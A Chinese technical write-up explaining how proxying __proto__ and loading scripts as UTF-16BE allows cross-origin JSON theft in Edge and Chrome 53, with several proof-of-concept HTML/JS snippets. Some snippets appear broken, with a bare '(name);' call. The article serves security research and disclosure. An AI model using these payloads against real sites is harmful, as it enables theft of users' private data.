【技术分享】现代浏览器中的新型JSON劫持技术
虽然Edge可以防止我们直接为window.__proto__属性赋值,但是微软的工程师似乎忘记Object.setPrototypeOf的存在。这样一来,我们就可以通过这种方法用代理__proto__重写原来的__proto__属性。具体代码如下所示:
<script> Object.setPrototypeOf(__proto__,new Proxy(__proto__,{ has:function(target,name){ (name); } })); </script> <script src="external-script-with-undefined-variable"></script> <!-- script contains: stealme -->如果你引入了一个跨域脚本,并且脚本中包含变量“stealme”的话,你将会看到浏览器弹出这个变量的值,即使这是一个未定义的变量。
在进行了进一步测试之后,我发现我们可以通过重写__proto__属性来达到相同的效果。我想在这里解释一下,JavaScript允许我们覆盖或重写其他的方法或对象,包括Array()这种内部方法。所以恶意攻击者可以轻松地将JavaScript中的方法或对象替换为恶意内容。注:__proto__是Edge浏览器中的EventTargetPrototype对象。具体代码如下所示:
<script> __proto__.__proto__=new Proxy(__proto__,{ has:function(target,name){ (name); } }); </script> <script src="external-script-with-undefined-variable"></script>假如我们现在接收到了Web服务器返回的响应数据,即一个Array Literal(数组字面量),而且我们可以控制它的部分值。这样一来,我们就可以利用UTF-16BE字符集来将这个数组字面量转变为一个未定义的JavaScript变量,然后再利用上文所描述的技术来窃取它。需要注意的是,所得结果必须是一个有效的JavaScript变量。
比如说,让我们先看看下面这个响应:
["supersecret","input here"]为了窃取更多的机密数据,我们需要在“aa”之前插入一个空字符(NULL),由于某种原因,Edge并不会将其视为UTF-16BE字符,除非我们注入了下面代码中的这些字符。也许是因为Edge会进行某种字符集嗅探,或者它会截断部分响应数据,此时NULL值后面的字符就会变成一个无效的JS变量。相关代码如下所示:
<!doctype HTML> <script> Object.setPrototypeOf(__proto__,new Proxy(__proto__,{ has:function(target,name){ (name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); })); } })); </script> <script charset="UTF-16BE" src="external-script-with-array-literal"></script> <!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->在Edge上窃取JSON feed的PoC [点我获取]
与之前一样,我们在代码中为__proto__属性设置了代理,脚本中还包含一个UTF-16BE字符集和一个包含有NULL值的响应。接下来,我对UTF-16BE编码字符串进行按位右移8位的解码操作,并获取到了其第一个字节的数据,然后又通过“按位与”计算获取到了第二个字节的内容。结果我们得到了一个警告弹窗,内容为“[“supersecret””,似乎Edge会将响应数据中NULL之后的内容截断。请注意,这种攻击的适用场景非常有限,因为很多字符在组合之后并不会生成一个有效的JavaScript变量。但是,我们仍然可以在某些场景下利用这项技术窃取到部分有效数据。
在Chrome中窃取JSON feed
请注意:这个问题已经在Chrome 54中得到了修复
这个PoC在Chrome 53版本中可以正常运行 [点我获取]
Chrome的情况就非常糟糕了,因为Chrome相对更加开放,我们可以自由地使用各种脚本和字符集。你不需要对响应数据进行任何的控制,Chrome完全可以正确地使用各种字符集。为了利用这个“功能”,我们还需要另外一个未定义的变量。首先,我对Chrome进行了简单的分析,我发现Chrome似乎不允许我们改写__proto__,但是他Chrome的工程师貌似忘记了__proto__属性可以不断向下延伸…
<script> __proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{ has:function f(target,name){ var str = f.caller.toString(); (str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); })); } }); </script> <script charset="UTF-16BE" src="external-script-with-array-literal"></script> <!-- script contains the following response: ["supersecret","abc"] -->测试发现,虽然“name”参数中并没有包含我们的未定义变量,但是函数的caller却得到了我们需要的值。它返回了一个函数,其中包含我们的变量名!很明显,数据使用了UTF-16BE编码,如下所示:
function 嬢獵灥牳散牥琢慢挢崊没错,我们的变量泄漏在了caller中。你需要调用toString方法来获取它的数据,否则Chrome将会抛出一个异常。在测试的过程中,我还可以跨域获取到XML或HTML数据,这是一个非常严重的信息披露漏洞。不过谷歌目前已经将Chrome中的这个漏洞修复了。
在Safari中窃取JSON feed
在Safari浏览器中实现JSON劫持的PoC [点我获取]